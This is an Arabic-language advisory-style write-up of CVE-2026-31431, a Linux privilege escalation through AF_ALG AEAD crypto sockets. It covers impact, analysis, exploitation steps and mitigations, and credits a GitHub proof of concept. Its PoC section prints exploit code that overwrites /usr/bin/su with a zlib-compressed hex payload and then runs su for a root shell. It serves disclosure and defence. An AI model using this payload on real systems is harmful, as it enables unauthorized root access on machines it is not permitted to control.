CVE-2026-31431

📌 CVE-2026-31431 – تصعيد الامتيازات عبر إساءة استخدام مقبس التشفير AEAD

🧠 نظرة عامة

CVE-2026-31431 هي ثغرة تصعيد امتيازات في نظام Linux تستغل واجهة AF_ALG (واجهة برمجة تطبيقات التشفير في النواة). من خلال صياغة تفاعل خبيث مع مقابس AEAD (التشفير المصادق عليه مع البيانات المرتبطة)، يمكن للمهاجم تصعيد الامتيازات وتنفيذ كود بصلاحيات الجذر (root).

تستغل هذه الثغرة المعالجة غير السليمة لعمليات المقابس التشفيرية، مما يسمح بالتلاعب المتحكم به في الذاكرة وتصعيد الامتيازات في النهاية.

⚠️ التأثير

• تصعيد الامتيازات محليًا
• الوصول إلى شل بصلاحيات الجذر (/usr/bin/su)
• يؤثر على الأنظمة التي تحتوي على تطبيقات تشفير نواة قابلة للاستغلال

🔍 التحليل الفني

الاستغلال:

• ينشئ مقبس AF_ALG

• يربط بـ:

  root@kitploit:~

  authenc(hmac(sha256),cbc(aes))
  

• يستخدم حمولات مصممة عبر setsockopt وsendmsg

• يطلق سلوكًا غير مقصود في النواة

• ينتقل إلى شل بصلاحيات الجذر عبر:

  root@kitploit:~

  g.system("su")
  

المؤشرات الرئيسية:

• استخدام socket(38,5,0) → AF_ALG
• التلاعب بـ AEAD
• كتابات ذاكرة متحكم بها عبر حمولة مضغوطة (zlib)

💻 إثبات المفهوم (PoC)

🔑 مقتطف الحمولة الأساسية:

**إخلاء مسؤولية: أنا لا أملك هذا الإثبات (PoC). هو لأغراض تعليمية فقط للاختبار في البيئات التي يتوفر فيها الإذن. المؤلف/المالك لن يكون مسؤولاً عن أي إساءة استخدام. **

f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i<len(e):
    c(f,i,e[i:i+4])
    i+=4

g.system("su")

🚀 خطوات الاستغلال

1. تهيئة مقبس التشفير
2. تكوين معلمات AEAD
3. إرسال الحمولة المصممة
4. تفعيل خلل النواة
5. الكتابة فوق مسار التنفيذ
6. فتح شل بصلاحيات الجذر

🛡️ التخفيف

• تحديث النواة إلى أحدث إصدار
• تقييد الوصول إلى مقابس AF_ALG
• استخدام سياسات LSM (AppArmor/SELinux)
• مراقبة الاستخدام غير الطبيعي لواجهة برمجة تطبيقات التشفير

🙏 الاعتمادات

• إثبات المفهوم: https://github.com/theori-io/copy-fail-CVE-2026-31431